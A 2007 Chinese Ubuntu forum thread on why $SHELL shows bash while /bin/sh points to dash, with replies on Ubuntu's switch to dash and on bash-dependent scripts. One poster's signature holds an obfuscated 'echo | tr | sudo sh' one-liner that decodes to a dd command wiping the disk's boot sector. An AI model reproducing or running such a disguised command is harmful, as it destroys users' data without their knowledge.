[问题]为什么$SHELL与所用的sh不一致呢?

系统安装、升级讨论
版面规则
我们都知道新人的确很菜,也喜欢抱怨,并且带有浓厚的Windows习惯,但既然在这里询问,我们就应该有责任帮助他们解决问题,而不是直接泼冷水、简单的否定或发表对解决问题没有任何帮助的帖子。乐于分享,以人为本,这正是Ubuntu的精神所在。
cyberx
帖子: 52
注册时间: 2007-04-30 9:48
来自: 火星

[问题]为什么$SHELL与所用的sh不一致呢?

#1

帖子 cyberx » 2007-05-14 22:39

用env命令看到:
SHELL=/bin/bash

但是ls -l /bin/sh发现:
/bin/sh -> /bin/dash

为什么会不一致呢?是出问题了还是有什么意义?

系统是 xubuntu 7.04
头像
eexpress
帖子: 58428
注册时间: 2005-08-14 21:55
来自: 长沙

#2

帖子 eexpress » 2007-05-14 22:42

用户属性里面看看
● 鸣学
头像
BigSnake.NET
帖子: 12522
注册时间: 2006-07-02 11:16
来自: 廣州
联系:

#3

帖子 BigSnake.NET » 2007-05-14 22:42

有什么问题..两者根本完全无关
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。
头像
xport
帖子: 1277
注册时间: 2006-05-19 21:23
联系:

#4

帖子 xport » 2007-05-14 22:45

查看目前使用那个 shell :

代码: 全选

shell> echo $SHELL
你可以检查配置文件:

代码: 全选

shell> fgrep `whoami` /etc/passwd | awk -F":" '{printf $7}'
其实我是一个演员!-http://blog.csdn.net/xport/
头像
iblicf
帖子: 3766
注册时间: 2007-01-15 17:15

#5

帖子 iblicf » 2007-05-14 22:45

BigSnake.NET 写了:有什么问题..两者根本完全无关
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#6

帖子 ziyun » 2007-05-14 22:52

我曾听用其他系统的人说/bin/sh是/bin/bash的一个链接,但在ubuntu上不是
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
头像
xport
帖子: 1277
注册时间: 2006-05-19 21:23
联系:

#7

帖子 xport » 2007-05-14 22:57

ziyun 写了:我曾听用其他系统的人说/bin/sh是/bin/bash的一个链接,但在ubuntu上不是

代码: 全选

[xport@ubuntu ~] $ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 2007-01-17 01:59 /bin/sh -> dash

[xport@ubuntu ~] $ man dash
其实我是一个演员!-http://blog.csdn.net/xport/
oldniu
帖子: 172
注册时间: 2006-08-10 16:01

#8

帖子 oldniu » 2007-05-15 11:01

好像是6.10开始/bin/sh指向了/bin/dash。功能上更安全也更局限。所以有些shell script 一定要特别指明用/bin/bash yourshellscript
才能正确执行。
螺钉头虽然愚笨但总想在坚实的生活里钻出自己的天地来。
cyberx
帖子: 52
注册时间: 2007-04-30 9:48
来自: 火星

#9

帖子 cyberx » 2007-05-15 18:36

BigSnake.NET 写了:有什么问题..两者根本完全无关
那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?
头像
BigSnake.NET
帖子: 12522
注册时间: 2006-07-02 11:16
来自: 廣州
联系:

#10

帖子 BigSnake.NET » 2007-05-15 18:39

cyberx 写了:
BigSnake.NET 写了:有什么问题..两者根本完全无关
那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?
$SHELL 就是你现在用的shell

sh指向dash与此无关
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。
头像
BigSnake.NET
帖子: 12522
注册时间: 2006-07-02 11:16
来自: 廣州
联系:

#11

帖子 BigSnake.NET » 2007-05-15 18:41

oldniu 写了:好像是6.10开始/bin/sh指向了/bin/dash。功能上更安全也更局限。所以有些shell script 一定要特别指明用/bin/bash yourshellscript
才能正确执行。
安装bash..卸掉dash就可以了,注意同时调整你的shell
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。
cyberx
帖子: 52
注册时间: 2007-04-30 9:48
来自: 火星

#12

帖子 cyberx » 2007-05-15 19:51

BigSnake.NET 写了:
cyberx 写了:
BigSnake.NET 写了:有什么问题..两者根本完全无关
那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?
$SHELL 就是你现在用的shell

sh指向dash与此无关
好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash
头像
BigSnake.NET
帖子: 12522
注册时间: 2006-07-02 11:16
来自: 廣州
联系:

#13

帖子 BigSnake.NET » 2007-05-15 19:53

cyberx 写了:
BigSnake.NET 写了:
cyberx 写了:
BigSnake.NET 写了:有什么问题..两者根本完全无关
那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?
$SHELL 就是你现在用的shell

sh指向dash与此无关
好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash
因为现在大多数使用sh的脚本实际上是使用了bash的功能,而dash没有这些功能,所以就不行了
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。
头像
xport
帖子: 1277
注册时间: 2006-05-19 21:23
联系:

#14

帖子 xport » 2007-05-15 19:57

写shell的人没有注意兼容性,现在不是都在向POSIX看齐了么?
其实我是一个演员!-http://blog.csdn.net/xport/
cyberx
帖子: 52
注册时间: 2007-04-30 9:48
来自: 火星

#15

帖子 cyberx » 2007-05-15 20:14

BigSnake.NET 写了:
cyberx 写了:
BigSnake.NET 写了:
cyberx 写了:
BigSnake.NET 写了:有什么问题..两者根本完全无关
那为什么会有个$SHELL呢?是干啥呢?用的是dash,但是$SHELL说是bash会不会出问题?
$SHELL 就是你现在用的shell

sh指向dash与此无关
好像不是这样哦,听说dash比bash快,而且更符合posix规范,一直用dash的,装intel的cpp编译器的时候就遇到麻烦了。那个安装脚本不能顺利执行,但是把 sh 指向 bash就可以安装成功了。之后又指回来了。

$which sh
/bin/sh

/bin/sh -> /bin/dash
因为现在大多数使用sh的脚本实际上是使用了bash的功能,而dash没有这些功能,所以就不行了
这个例子说明$SHELL跟sh在新版ubuntu里不是一个东西了,那么这个变量到底是干啥用的乜?与实际不符会不会出问题?
回复